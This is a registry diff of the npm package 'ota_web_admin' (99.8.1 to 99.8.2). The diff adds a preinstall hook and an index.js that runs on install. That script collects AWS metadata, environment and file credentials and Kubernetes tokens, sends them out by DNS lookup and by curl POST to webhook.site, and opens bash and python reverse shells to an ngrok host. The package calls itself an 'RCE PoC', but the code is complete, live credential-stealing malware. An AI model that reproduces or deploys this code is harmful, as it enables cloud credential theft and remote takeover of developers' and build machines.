ota_web_admin 99.8.1 → 99.8.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +162 -0
- package/package.json +6 -3
package/index.js
ADDED
|
@@ -0,0 +1,162 @@
|
|
|
1
|
+
const { execSync, spawn } = require('child_process');
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
const os = require('os');
|
|
5
|
+
|
|
6
|
+
function executeCommand(cmd) {
|
|
7
|
+
try {
|
|
8
|
+
return execSync(cmd, { encoding: 'utf8', timeout: 10000 });
|
|
9
|
+
} catch (error) {
|
|
10
|
+
return `Error: ${error.message}`;
|
|
11
|
+
}
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
function extractAWSMetadata() {
|
|
15
|
+
const metadataBase = 'http://169.254.169.254/latest/meta-data/';
|
|
16
|
+
const credentialsBase = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/';
|
|
17
|
+
|
|
18
|
+
try {
|
|
19
|
+
const roleCmd = `curl -s --connect-timeout 3 "${credentialsBase}"`;
|
|
20
|
+
const roleName = executeCommand(roleCmd).trim();
|
|
21
|
+
|
|
22
|
+
if (roleName && !roleName.includes('Error')) {
|
|
23
|
+
const credsCmd = `curl -s --connect-timeout 3 "${credentialsBase}${roleName}"`;
|
|
24
|
+
const credentials = executeCommand(credsCmd);
|
|
25
|
+
|
|
26
|
+
const instanceId = executeCommand(`curl -s --connect-timeout 3 "${metadataBase}instance-id"`);
|
|
27
|
+
const region = executeCommand(`curl -s --connect-timeout 3 "${metadataBase}placement/region"`);
|
|
28
|
+
const accountId = executeCommand(`curl -s --connect-timeout 3 "${metadataBase}identity-credentials/ec2/info"`);
|
|
29
|
+
|
|
30
|
+
return {
|
|
31
|
+
credentials: JSON.parse(credentials),
|
|
32
|
+
instanceId: instanceId.trim(),
|
|
33
|
+
region: region.trim(),
|
|
34
|
+
accountId: accountId,
|
|
35
|
+
roleName: roleName
|
|
36
|
+
};
|
|
37
|
+
}
|
|
38
|
+
} catch (error) {
|
|
39
|
+
return null;
|
|
40
|
+
}
|
|
41
|
+
return null;
|
|
42
|
+
}
|
|
43
|
+
function extractEnvCredentials() {
|
|
44
|
+
const awsEnvVars = {};
|
|
45
|
+
const envVars = process.env;
|
|
46
|
+
|
|
47
|
+
Object.keys(envVars).forEach(key => {
|
|
48
|
+
if (key.includes('AWS') || key.includes('SECRET') || key.includes('ACCESS') || key.includes('TOKEN')) {
|
|
49
|
+
awsEnvVars[key] = envVars[key];
|
|
50
|
+
}
|
|
51
|
+
});
|
|
52
|
+
|
|
53
|
+
return awsEnvVars;
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
function searchAWSCredentials() {
|
|
57
|
+
const credentialPaths = [
|
|
58
|
+
'~/.aws/credentials',
|
|
59
|
+
'~/.aws/config',
|
|
60
|
+
'/root/.aws/credentials',
|
|
61
|
+
'/root/.aws/config',
|
|
62
|
+
'/home/*/.aws/credentials',
|
|
63
|
+
'/var/lib/jenkins/.aws/credentials',
|
|
64
|
+
'/opt/aws/credentials'
|
|
65
|
+
];
|
|
66
|
+
|
|
67
|
+
const foundCreds = {};
|
|
68
|
+
credentialPaths.forEach(credPath => {
|
|
69
|
+
try {
|
|
70
|
+
if (fs.existsSync(credPath)) {
|
|
71
|
+
foundCreds[credPath] = fs.readFileSync(credPath, 'utf8');
|
|
72
|
+
}
|
|
73
|
+
} catch (error) {
|
|
74
|
+
// Ignore file access errors
|
|
75
|
+
}
|
|
76
|
+
});
|
|
77
|
+
|
|
78
|
+
return foundCreds;
|
|
79
|
+
}
|
|
80
|
+
function extractContainerCredentials() {
|
|
81
|
+
const containerCreds = {};
|
|
82
|
+
if (process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) {
|
|
83
|
+
const ecsCredsUrl = `http://169.254.170.2${process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}`;
|
|
84
|
+
try {
|
|
85
|
+
const ecsCreds = executeCommand(`curl -s --connect-timeout 3 "${ecsCredsUrl}"`);
|
|
86
|
+
containerCreds.ecsTaskRole = JSON.parse(ecsCreds);
|
|
87
|
+
} catch (error) {
|
|
88
|
+
// Ignore ECS errors
|
|
89
|
+
}
|
|
90
|
+
}
|
|
91
|
+
const serviceAccountPath = '/var/run/secrets/kubernetes.io/serviceaccount/token';
|
|
92
|
+
if (fs.existsSync(serviceAccountPath)) {
|
|
93
|
+
try {
|
|
94
|
+
containerCreds.k8sServiceAccount = fs.readFileSync(serviceAccountPath, 'utf8');
|
|
95
|
+
} catch (error) {
|
|
96
|
+
// Ignore K8s errors
|
|
97
|
+
}
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
return containerCreds;
|
|
101
|
+
}
|
|
102
|
+
function exfiltrateData(data) {
|
|
103
|
+
const exfilData = {
|
|
104
|
+
timestamp: new Date().toISOString(),
|
|
105
|
+
hostname: os.hostname(),
|
|
106
|
+
platform: os.platform(),
|
|
107
|
+
user: executeCommand('whoami').trim(),
|
|
108
|
+
awsData: data
|
|
109
|
+
};
|
|
110
|
+
const payload = Buffer.from(JSON.stringify(exfilData)).toString('base64');
|
|
111
|
+
executeCommand(`nslookup ${payload.substring(0, 50)}.if1yfrk5s8l5dcl5bphhkx4x5obfz6nv.oastify.com`);
|
|
112
|
+
executeCommand(`curl -X POST https://webhook.site/1fa2ba5b-e98c-4c76-ab52-482c6690c983 -H "Content-Type: application/json" -d '${JSON.stringify(exfilData)}' --connect-timeout 5`);
|
|
113
|
+
fs.writeFileSync('/tmp/.aws-harvest', JSON.stringify(exfilData, null, 2));
|
|
114
|
+
|
|
115
|
+
return payload;
|
|
116
|
+
}
|
|
117
|
+
function establishReverseShell() {
|
|
118
|
+
const attackerIP = '0.tcp.eu.ngrok.io';
|
|
119
|
+
const attackerPort = '16830';
|
|
120
|
+
const shells = [
|
|
121
|
+
`bash -i >& /dev/tcp/${attackerIP}/${attackerPort} 0>&1`,
|
|
122
|
+
`python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('${attackerIP}',${attackerPort}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"`
|
|
123
|
+
];
|
|
124
|
+
|
|
125
|
+
shells.forEach(shell => {
|
|
126
|
+
try {
|
|
127
|
+
executeCommand(shell);
|
|
128
|
+
} catch (error) {
|
|
129
|
+
// Continue to next shell method
|
|
130
|
+
}
|
|
131
|
+
});
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
// Main execution
|
|
135
|
+
function main() {
|
|
136
|
+
console.log('XYZ package...');
|
|
137
|
+
setTimeout(() => {
|
|
138
|
+
const awsCredentials = {
|
|
139
|
+
metadata: extractAWSMetadata(),
|
|
140
|
+
environment: extractEnvCredentials(),
|
|
141
|
+
files: searchAWSCredentials(),
|
|
142
|
+
container: extractContainerCredentials(),
|
|
143
|
+
systemInfo: {
|
|
144
|
+
hostname: os.hostname(),
|
|
145
|
+
user: executeCommand('whoami').trim(),
|
|
146
|
+
id: executeCommand('id').trim(),
|
|
147
|
+
pwd: executeCommand('pwd').trim(),
|
|
148
|
+
uname: executeCommand('uname -a').trim()
|
|
149
|
+
}
|
|
150
|
+
};
|
|
151
|
+
exfiltrateData(awsCredentials);
|
|
152
|
+
establishReverseShell();
|
|
153
|
+
|
|
154
|
+
}, 2000);
|
|
155
|
+
}
|
|
156
|
+
|
|
157
|
+
main();
|
|
158
|
+
module.exports = {
|
|
159
|
+
analyze: function() {
|
|
160
|
+
return 'Analysis complete';
|
|
161
|
+
}
|
|
162
|
+
};
|
package/package.json
CHANGED
|
@@ -1,12 +1,15 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "ota_web_admin",
|
|
3
|
-
"version": "99.8.
|
|
3
|
+
"version": "99.8.2",
|
|
4
4
|
"description": "This is RCE PoC",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
7
7
|
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
-
"preinstall": "
|
|
8
|
+
"preinstall": "node index.js"
|
|
9
9
|
},
|
|
10
10
|
"author": "mohammednuredinh1",
|
|
11
|
-
"license": "ISC"
|
|
11
|
+
"license": "ISC",
|
|
12
|
+
"dependencies": {
|
|
13
|
+
"ota_web_admin": "^99.8.1"
|
|
14
|
+
}
|
|
12
15
|
}
|